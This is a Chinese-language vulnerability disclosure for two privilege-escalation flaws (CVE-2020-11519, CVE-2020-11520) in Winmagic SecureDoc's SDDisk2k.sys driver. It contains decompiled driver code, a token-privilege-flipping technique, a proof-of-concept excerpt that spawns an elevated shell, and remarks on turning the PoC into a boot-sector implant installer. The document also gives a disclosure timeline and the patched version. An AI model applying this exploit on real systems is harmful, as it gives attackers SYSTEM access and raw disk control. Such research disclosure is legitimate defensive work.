日期:2020年6月
作者:Dennis Elser(代码:github)
根据其官方网站介绍,Winmagic SecureDoc “使企业能够高效地处理其 IT 环境的安全问题,其特性包括:全盘加密(FDE)、多因素认证、可移动介质容器加密(RMCE)以及文件和文件夹加密(FFE)。这些功能有助于企业增强安全性、降低业务风险,并满足政府和监管机构对硬盘加密的要求。”
Winmagic SecureDoc 产品有独立版和企业版,其 8.3 和 8.5 版本存在两个本地权限提升漏洞(CVE-2020-11519 和 CVE-2020-11520)。这些漏洞于 3 月下旬报告给 Winmagic 后,供应商于 2020 年 6 月中旬 发布了补丁(版本 8.5SR2)。然而,该补丁未能充分修复漏洞,导致 8.5SR2 版本仍易受到所述漏洞的攻击。尽管因此原因未公开漏洞的技术细节,但自那时起,这些漏洞实际上已视为公开。据供应商称,另一个补丁仍在开发中,距离最初向 Winmagic 报告漏洞已过去大约 106 天。 7 月 15 日,在向供应商初次报告漏洞 111 天后,Winmagic 向客户发布了 SecureDoc v8.5 SR2 HF1,据称修复了 CVE-2020-11519 和 CVE-2020-11520。早于 8.3 版本的 SecureDoc 未经验证,但根据受影响组件的代码推断,很可能也受到影响。
成功利用任意一个漏洞,都会使本地经过身份验证的攻击者将权限提升至 SYSTEM。
这两个漏洞均影响 Winmagic SecureDoc 产品自带的“SDDisk2k.sys”内核驱动程序组件。通过使用 Hex-Rays IDA Pro 反汇编器和反编译器进行手动静态分析,识别出了这些安全缺陷。事后看来,如果采用诸如模糊测试等动态测试方法,则能以更少的精力发现这些弱点。这是因为该驱动程序可被受限的用户态应用程序访问,并且它默认认为其输入格式正确。
由于“SDDisk2k.sys”驱动程序不安全地创建了“SecureDocDevice”设备对象,并且缺少设置适当安全描述符的代码,即便是受限的用户账户也能通过 CreateFile() API 函数获取该设备的句柄。驱动程序允许用户态应用程序获取其设备对象的句柄,从而直接打开了通往内核态攻击面的路径。``` c RtlInitUnicodeString(&DestinationString, L"\Device\SecureDocDevice"); RtlInitUnicodeString(&SymbolicLinkName, L"\DosDevices\SecureDocDevice"); if ( IoCreateDevice(v1, 0xDD8u, &DestinationString, 0x8D1Fu, 0, 0, &DeviceObject) >= 0 ) // <--- unsafe { memset(DeviceObject->DeviceExtension, 0, 0xDD8ui64); DeviceObject->Flags |= 4u; DeviceObject->AlignmentRequirement = 0; if ( IoCreateSymbolicLink(&SymbolicLinkName, &DestinationString) < 0 ) IoDeleteDevice(DeviceObject); IoObject = DeviceObject; }
通过对 "SDDisk2k.sys" 驱动程序的多个 [IOCTL](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/introduction-to-i-o-control-codes) 服务处理程序进行逆向工程,发现其中一个处理程序向用户态暴露了关键功能,即它允许对任意驱动器的原始磁盘扇区进行读写操作——这是设计如此。此外,通过与此代码交互,注意到该驱动程序会忽略先前可能对驱动器设置的任何排他锁。因此,并发读写操作成为可能,从而引发竞争条件并存在数据丢失的风险。
以下展示了该驱动程序反编译后的 IOCTL 服务处理程序,该程序负责处理原始磁盘扇区的读取请求。它调用了一个函数 sub_29CD4(),参数为 "controlled_buf",这是一个指向缓冲区的指针,其内容可由任何调用它的用户态应用程序任意选择:``` c
if ( ioctlcode == 0x8D1F2824 ) // <--- I/O control code for raw disk reading functionality
{
controlled_buf = (unsigned __int8 *)controlled_addr;
mode = 0;
temp_result = sub_29CD4((char *)controlled_buf, v3, mode); // <--- call to raw disk read function
实际上,这个由攻击者控制的缓冲区是一个结构体,其字段 "offset"、"length" 和 "ptr_buf" 是完全未经检查的函数参数,这些参数被传递给对 IoBuildSynchronousFsdRequest() 的调用。后一个函数准备了一个 IRP_MJ_READ I/O 请求包 (IRP),并通过调用 IofCallDriver() 将其发送到底层文件系统驱动程序:``` c __int64 __fastcall sub_29CD4(char *controlled_addr, PIRP a2, char mode) { //[...snip...] // extract drive number and type (floppy/hd) from offset 0 devicetype_and_num = (unsigned __int8)*controlled_buf // <--- controllable from user mode
// advance pointer p = controlled_buf + 1;
// build device name if ( (devicetype_and_num & 0x80u) == 0 ) v11 = vsnprintf_wrapper(&device_name, 0x3Fui64, L"\Device\Floppy%d", devicetype_and_num); else v11 = vsnprintf_wrapper(&device_name, 0x3Fui64, L"\Device\Harddisk%d\Partition0", devicetype_and_num & 0x7F); v12 = v11; if ( v11 >= 0 ) { RtlInitUnicodeString(&DestinationString, &device_name);
// get object pointer of drive
if ( IoGetDeviceObjectPointer(&DestinationString, 0x80u, &FileObject, &DeviceObject) >= 0
|| (v12 = sub_2C5D4(&DestinationString, &DeviceObject), v12 >= 0) )
{
// extract further fields from structure
offset = *(_QWORD *)(p + 0x4E); // <--- where to start reading from
length = *(_DWORD *)(p + 0x56); // <--- number of bytes to read
ptr_buf = *(void **)(p + 0x5A); // <--- ptr to destination buffer
devobj = DeviceObject;
StartingOffset.QuadPart = offset << 9;
KeInitializeEvent(&Event, NotificationEvent, 0);
// build request
v17 = IoBuildSynchronousFsdRequest(
(unsigned int)(mode != 0) + IRP_MJ_READ, // <--- issue read request
devobj,
ptr_buf,
length << 9,
&StartingOffset,
&Event,
&IoStatusBlock);
v18 = v17;
if ( v17 )
{
v19 = v17->Tail.Overlay.CurrentStackLocation;
if ( mode )
v19[0xFFFFFFFF].Flags |= 0x10u;
ObfReferenceObject(devobj);
// send request to respective device object (issue read request)
v12 = IofCallDriver(devobj, v18);
//[...snip...] }
就像从用户模式读取原始磁盘扇区一样,通过调用 IOCTL 处理程序 0x8D1F2820 也可以写入磁盘扇区,该处理程序处理相同的数据结构,并以类似的方式实现。鉴于与该驱动程序协议的兼容性,任何用户模式应用程序都可以完全破坏操作系统。除非受到安全启动机制的保护,这甚至包括允许在系统启动过程中早期运行的软件(勒索软件、启动套件、自定义植入程序等)。
### CVE-2020-11520
对 "SDDisk2k.sys" 驱动程序的服务处理程序的进一步检查发现,来自用户模式应用程序的内存地址未经事先验证就被处理。在某些情况下,驱动程序会盲目地向这些指针所访问的内存写入数据,攻击者可利用此漏洞创建内核写入原语。尽管所有这些写入原语都允许直接控制**写入数据的位置**,但遗憾的是没有发现能够直接控制**写入什么数据**的原语。除了 [CVE-2020-11519](#cve-2020-11519)(其在此上下文中的利用需要通过磁盘读写操作进行额外的迂回,我认为这是一种不干净的方法因而希望避免)之外,确定了一个特定的处理程序,它虽然不允许控制数据本身,但通过其他手段仍足以被重新利用。
下面的反编译代码显示了驱动程序针对 IOCTL 代码 0x8d1f282c 的服务处理程序。它从用户控制的缓冲区中获取一个 16 位整数 "count",然后确保其不会超过某个限制。最后,从同一个受控输入缓冲区获取一个指针 "dst",但在将其作为参数传递给后续的 memmove() 调用之前,不会检查其有效性。令我最初失望的是,作为参数传递给 memmove() 的 "src" 缓冲区不受控制,而是指向一个硬编码的字符串 ("FRNSecureDoc v4.1\0"),这在一定程度上限制了其在利用中的有用性。显然,此服务处理程序将一个版本标识符写入用户可指定的地址,这同样可能被滥用于指纹识别易受攻击的 Winmagic SecurDoc 版本。``` c
// handler for I/O control code 0x8d1f282c
// get "count" from controlled buffer
count = *((_WORD *)controlled_buf + 5);
// if count is zero, return error
if ( !count )
{
*((_WORD *)controlled_buf + 5) = 0x13;
goto leave_dispatcher;
}
// otherwise further sanitize and limit "count"
if ( count >= 0x12u )
count = 0x11;
// bug! controlled pointer, passed from userland!
dst = *(void **)(controlled_buf + 2);
src = aFrnsecuredocV4; // <--- 'FRNSecureDoc v4.1',0
// unchecked write!
memmove(dst, src, count);
goto leave_dispatcher;
然而,将此完全可控的 "dst" 地址指向内核空间中一个合适的位置,会重新利用此 IOCTL 处理程序,并将其转变为内核写入原语。参考 [1] 和 [2],使用指向进程令牌内核地址的 "dst" 调用此服务处理程序,或者更准确地说,指向偏移量 0x40 处的 "Privileges" 成员,可能会导致权限提升 :)```
0: kd> dt nt!_token ffffe40955f766b0
+0x000 TokenSource : _TOKEN_SOURCE
+0x010 TokenId : _LUID
+0x018 AuthenticationId : _LUID
+0x020 ParentTokenId : _LUID
+0x028 ExpirationTime : _LARGE_INTEGER 0x7fffffffffffffff +0x030 TokenLock : 0xffffd20ff9adee10 _ERESOURCE
+0x038 ModifiedId : _LUID
+0x040 Privileges : _SEP_TOKEN_PRIVILEGES
[...snip...]
0: kd> dt nt!_SEP_TOKEN_PRIVILEGES ffffe40955f766b0+0x40 +0x000 Present : 0x00000006`02880000 +0x008 Enabled : 0x800000 +0x010 EnabledByDefault : 0x40800000
SEP_TOKEN_PRIVILEGES 结构是一组位掩码,每个单独的位代表一个特权标志。作为逻辑结果,恳请 SecureDoc 驱动程序将其版本字符串 "FRNSecureDoc v4.1\0" 的部分内容存储到进程令牌的 SEP_TOKEN_PRIVILEGES 结构中,应能翻转若干位并有望启用有用的特权,至少理论上如此。事实证明,通过让驱动程序将其版本字符串的前两个字符存储到 SEP_TOKEN_PRIVILEGE 结构“Present”字段的偏移量 1 和 2 处,会设置一系列有趣的令牌特权。取自 "**F**RNSecureDoc v4.1\0" 的 '**F**' 字符等于 01000110,因此设置了“Present”字段的第 9 位 (SeTakeOwnershipPrivilege)、第 10 位 (SeLoadDriverPrivilege) 和第 14 位 (SeIncreaseBasePriorityPrivilege)。'**R**' 字符等于 01010010,设置了第 17 位 (SeBackupPrivilege)、第 20 位 (SeDebugPrivilege) 和第 22 位 (SeSystemEnvironmentPrivilege):
| 位号(“Present”) | 字符 | 字节 | 特权 |
| :--------------: | :-------: | ------------ | --------- |
| 8 | 'F' | 0100011**0** | SeSecurityPrivilege |
| 9 | 'F' | 010001**1**0 | **SeTakeOwnershipPrivilege** |
| 10 | 'F' | 01000**1**10 | **SeLoadDriverPrivilege** |
| 11 | 'F' | 0100**0**110 | SeSystemProfilePrivilege |
| 12 | 'F' | 010**0**0110 | SeSystemtimePrivilege |
| 13 | 'F' | 01**0**00110 | SeProfileSingleProcessPrivilege |
| 14 | 'F' | 0**1**000110 | **SeIncreaseBasePriorityPrivilege** |
| 15 | 'F' | **0**1000110 | SeCreatePagefilePrivilege |
| 16 | 'R' | 0101001**0** | SeCreatePermanentPrivilege |
| 17 | 'R' | 010100**1**0 | **SeBackupPrivilege** |
| 18 | 'R' | 01010**0**10 | SeRestorePrivilege |
| 19 | 'R' | 0101**0**010 | SeShutdownPrivilege |
| 20 | 'R' | 010**1**0010 | **SeDebugPrivilege** |
| 21 | 'R' | 01**0**10010 | SeAuditPrivilege |
| 22 | 'R' | 0**1**010010 | **SeSystemEnvironmentPrivilege** |
| 23 | 'R' | **0**1010010 | SeChangeNotifyPrivilege |
## 概念验证漏洞利用程序
一个[概念验证漏洞利用程序](https://github.com/patois/winmagic_sd/blob/master/sd_poc.py)已使用 Python 开发,并在连接到 x64 Windows 10 虚拟机上的[微软 WinDbg 内核调试器](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-toolsk)帮助下进行了调试。
该 PoC 利用程序获取当前进程安全令牌的内核地址,并通过利用所述漏洞启用了 SeDebugPrivilege 等特权。随后它会生成一个命令 shell,该 shell 继承了令牌新提升的特权。
设置 SeDebugPrivilege 标志后,将可以将 shellcode 注入到 SYSTEM 进程上下文中并运行——不过这部分就留给你啦 ;)``` python
token_addr = sdi.get_token_obj()
if not token_addr:
print("[!] Could not get address of token")
sdi.close()
return
print("[+] Got token object: %x" % token_addr)
print("[+] Patching token")
sdi.acquire_debug_privs(token_addr)
sdi.close()
os.system("cmd.exe")
为了避免将任何人的数据置于风险之中,本 PoC 漏洞利用的公开版本未包含任何使用 CVE-2020-11519 从原始磁盘扇区读取/写入的活动代码。尽管如此,如果添加对 disk_read_raw() 和 disk_write_raw() 函数的调用,它仍可轻松转变为安装程序,用于运行您希望引导扇区执行的任何代码。不如安装并玩一局 tetros,作为安装植入程序的替代方案?;)
以下分别展示了运行该概念验证(Proof-of-Concept)漏洞利用前后当前进程的令牌权限。``` C:\Users\re>whoami /priv
Privilege Name Description State ============================= ==================================== ======== SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking station Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled
C:\Users\re>python3 sd_poc.py
EoP PoC for WinMagic SecureDoc 8.5
[+] Got a handle to driver [+] Got token object: ffffd68dd45d9990 [+] Patching token Microsoft Windows [Version 10.0.17134.1304] (c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\re>whoami /priv
Privilege Name Description State =============================== ======================================== ======== SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled SeLoadDriverPrivilege Load and unload device drivers Enabled SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled SeBackupPrivilege Back up files and directories Enabled SeDebugPrivilege Debug programs Enabled SeSystemEnvironmentPrivilege Modify firmware environment values Enabled SeUndockPrivilege Remove computer from docking station Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled
PoC漏洞利用代码可在此[此处](https://github.com/patois/winmagic_sd/blob/HEAD/sd_poc.py)找到。它针对Winmagic SecureDoc x64的v8.5版本,但可能适用于较旧版本(未经测试)。
如果你已经读到这里但仍然感到非常无聊,可以随意调用IOCTL代码0x8D1F2848 ;)``` c
case 0x8D1F2848:
DbgPrint("SDDEV_IO_BLUE_SCREEN comes in ...");
if ( *(_WORD *)controlled_buf == 0x55AA
&& *(_QWORD *)(controlled_buf + 2)
&& *((_WORD *)controlled_buf + 5) == 4 )
{
StartContext = ExAllocatePoolWithTag(PoolType, 4ui64, 'gaMW');
if ( !StartContext )
{
KeSetPriorityThread(KeGetCurrentThread(), 0x1F);
KeBugCheckEx(0xE2u, 0x2D8ui64, **(unsigned int **)(controlled_buf + 2), 0i64, 'WM');
}
DbgPrint("SDDEV_IO_BLUE_SCREEN preps ...");
*StartContext = **(_DWORD **)(controlled_buf + 2);
if ( PsCreateSystemThread(
&ThreadHandle,
0x1FFFFFu,
0i64,
0i64,
0i64,
(PKSTART_ROUTINE)sub_23948,
StartContext) < 0 )
ExFreePoolWithTag(StartContext, 0);
else
ZwClose(ThreadHandle);
}
2020-03-27 | Shared vulnerability report with Winmagic representative 2020-03-28 | Winmagic confirmed receipt of vulnerability report 2020-04-04 | Shared CVE IDs CVE-2020-11519 and CVE-2020-11520 with Winmagic 2020-04-22 | Winmagic gave an estimated ETA of fix within 60-90 days 2020-06-14 | Winmagic shared pre-release of SecureDoc v8.5SR2 for testing 2020-06-17 | Informed Winmagic the fix doesn't properly address the vulnerabilities 2020-06-18 | Winmagic informed that SecureDoc v8.5SR2 had already been publicly released | in the meantime. According to this version's release notes, CVE-2020-11519 | and CVE-2020-11520 are addressed ("SD-34145: Windows Client Security | Vulnerability Report"). Winmagic representative asked whether holding back | information about the vulnerabilities was an option till the next scheduled | release date in autumn, in favour of a proper fix 2020-06-19 | Informed Winmagic about the common 90-days disclosure deadline and that | postponing a proper fix for incorrect but already released bugfixes | would put users at risk even more so 2020-06-19 | Winmagic informed that a hotfix for the flawed v8.5SR2 patch of | SecureDoc is being worked on, no ETA given 2020-06-22 | Asked for ETA of the hotfix 2020-06-23 | Winmagic provided information about an intended release of a hotfix within | a two week time frame, starting with the passing of the 90-days deadline 2020-06-30 | Asked Winmagic about the current status 2020-06-30 | Winmagic assured that a fix would be made available before 2020-07-08 2020-07-08 | Winmagic informed about delay of release to 2020-07-09 or 2020-07-10, latest 2020-07-10 | Public release of this information, no public fix available (106 days) 2020-07-15 | Winmagic released SecureDoc v8.5 SR2 HF1 (111 days)
## 解决方案
更新至 Winmagic SecureDoc v8.5 SR2 HF1。
## 校验和
| 文件名 | 版本 | 哈希值 (SHA-256) |
| -------------------- | --------- | ---------------- |
| SDDisk2k.sys (64位) | 8.3.717 | 98D29D28BB9552D20BC78EB0BD12A57B921167565F3E47919EC2D61F24DA9241 |
| SDDisk2k.sys (64位) | 8.5.445 | 1D9054C4B49267EEF63B2EB11EC563E036F9E6E2AC18D32597FA769934BB7E18 |
## 参考
1. [滥用令牌特权提升本地权限](https://github.com/hatRiot/token-priv/blob/master/abusing_token_eop_1.0.txt)
2. [利用 Windows 8.1 上的 CVE-2014-4113](http://jodeit.org/research/Exploiting_CVE-2014-4113_on_Windows_8.1.pdf)
3. [简易本地 Windows 内核利用](https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf)
4. [我有99个问题,但内核指针不是其中之一](https://recon.cx/2013/slides/Recon2013-Alex%20Ionescu-I%20got%2099%20problems%20but%20a%20kernel%20pointer%20ain%27t%20one.pdf)
5. [利用泄露的进程和线程句柄](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)
6. [关于使用 ctypes 调用 NtQuerySystemInformation 的 Sourceforge 讨论](https://sourceforge.net/p/ctypes/mailman/message/34578496/)
7. [SecureDoc v8.5SR2 发布说明](https://www.winmagic.com/support/release-notes/securedoc-v8-5-sr2)